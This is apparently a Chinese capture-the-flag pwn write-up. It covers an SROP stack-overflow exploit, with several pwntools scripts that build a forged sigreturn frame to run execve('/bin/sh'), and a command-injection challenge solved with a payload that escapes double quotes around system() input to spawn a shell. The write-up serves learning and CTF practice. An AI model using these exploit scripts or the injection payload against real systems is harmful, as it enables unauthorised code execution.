PWN方向WP

快两年不打Pwn,限时回归一下,但是不得不说真的生疏了,泪目….

what??-mid

1733410749464

上来就给那么大的一个栈溢出,泪目,以为会很简单

1733410821992

看了下,栈不可执行,而且,在函数表里也没有发现后门函数

1733410966634

嘶,难搞,那咋整

问了下是SROP /(ㄒoㄒ)/~~

死去的记忆突然攻击

总之就是看这个文章

SROP - CTF Wiki

原理如下

sigreturn 是一个系统调用,它会在进程处理完信号时被调用,具体来说,sigreturn 用于恢复在信号处理程序中保存的上下文并返回到信号触发之前的程序执行状态。

执行这个系统调用,就会把栈上保存的之前状态的寄存器的值恢复

所以如果我们能够溢出足够多,并且能给 rax 赋值为 15,并且进行syscall

就能给所有寄存器赋值到我们想要的值

顺序参考这个,先恢复r8然后再r9,r10….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

当然,SROP pwntools已经为我们集成好了工具

但是作为底层人,怎么可以只会用工具呢?因此我是用手搓的

以下是我第一版本的代码,主要是为了探究下SROP是否能成功

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
io=process("./pwn")


payload=b'a'*40 + p64(0x40110A) + p64(0x40111C)+b'a'*8+ b'b'*8+ b'c'*8+ b'd'*8+ b'e'*8+ b'f'*8+ b'g'*8+ b'h'*8+ b'i'*8+ b'j'*8+ b'k'*8+ b'l'*8+ b'm'*8+ b'n'*8+ b'o'*8+ b'p'*8+ b'q'*8+ b'r'*8+ p64(0x3b)+ b't'*8+ b'u'*8+ b'v'*8+ b'w'*8+ b'x'*8+ b'y'*8+ b'z'*8+ b'a'*8+ b'b'*8+ b'c'*8+ b'd'*8+ b'e'*8+ b'f'*8+ b'g'*8+ b'h'*8+ b'i'*8+ b'j'*8+ b'k'*8+ b'l'*8+ b'm'*8+ b'n'*8+ b'o'*8+ b'p'*8+ b'q'*8+ b'r'*8+ p64(0x3b)+ b't'*8+ b'u'*8+ b'v'*8+ b'w'*8+ b'x'*8+ b'y'*8+ b'z'*8


gdb.attach(io)
pause()
io.sendline(payload)

io.interactive()

结果它长这样,有点奇怪,按理说RCX上一个被赋值的就是RAX,怎么RCX被赋值了,RAX没有,百思不得奇解

1733449691473

而且Wiki的图好像没有说明,感觉都没有错啊

1733449828002

经过和工具生成的脚本反复比对,我发现unsigned short cs;这个结构的值不能破坏,cs寄存器代表着程序在什么情况下运行,是32位(cs=0x23)还是64位(0x33)

所以我们要给这个cs改为0x33(题目是64位程序),不能乱改,否则RAX就不能被控制了,且后面的代码也不能给执行

此时脚本长这样

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
io=process("./pwn")


payload=b'a'*40 + p64(0x40110A) + p64(0x40111C)+b'\x00'*18*8+ p64(0x3b)+ b't'*8+ b'u'*8+ b'v'*8+ b'w'*8+ p16(0x33)#+b'\x00'*18*8

print(payload)
gdb.attach(io)
pause()
io.sendline(payload)

io.interactive()

本以为已经一帆风顺了,但是没想到还是不行…. RAX还是没被控制

1733450637751

最后发现,这些结构得赋值为0才可以

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];

具体原因你们pwn手去逆向内核的系统调用吧我就不参与了hh

于是脚本改成这样

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
io=process("./pwn")


payload=b'a'*40 + p64(0x40110A) + p64(0x40111C)+b'\x00'*18*8+ p64(0x3b)+ b't'*8+ b'u'*8+ b'v'*8+ b'w'*8+ p16(0x33)+b'\x00'*18*8

print(payload)
gdb.attach(io)
pause()
io.sendline(payload)

io.interactive()

好小子,终于能控制RAX了

1733450795484

于是我们之后顺利的把RAX,RDI,RIP改好,最后长这样

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
io=process("./pwn")

payload=b'a'*40 + p64(0x40110A) + p64(0x40111C)+ b'\x00'*13*8+p64(0x402008)+ b'\x00'*4*8+ p64(0x3b)+ b'\x00'*2*8+ p64(0x40111C)+p64(0)+p16(0x33) + p64(0)*14 #+ b'\x00'*18*8+ p64(0x3b)+ b'\x00'*8*7


gdb.attach(io)
pause()
io.sendline(payload)

io.interactive()

达成目标

1733450873550

1733450901669

总结就是不要老是当脚本小子,动手探究原理能学到更多hh

Hateful Shell-mid

Pwn佬出的题,当然我没做出来,泪目,脑筋转不动呜呜

1733451009674

题目长这样,一个system(command)很显眼

1733451084649

一看到这个就想到分号隔开可以执行多条system的命令,但是我们的 %s 被双引号包住了

那么我们就需要了解一个知识:

在 Linux 上 (Bash Shell) system(command) 会调用默认的 shell(通常是 bash/bin/sh)来执行命令。如果 command 字符串中包含双引号,shell 会按照其规则来处理这些双引号。

双引号的作用:双引号在 shell 中用于将空格、特殊字符或其他可能被 shell 解释的字符括起来,使它们作为一个整体进行处理。例如:

1
system("echo \"Hello World!\"");

这个命令会打印:

1
"Hello World!"

这个函数会把例如 " 前面加一个 \ 进行转义

1733453018951

为了拿到shell

我们需要构造出这样的字符串

1
\";/bin/sh;\" 

这样的话就可以让前面的“提前闭合,后面的引号也提前闭合

所以就可以去执行/bin/sh了

1733453180220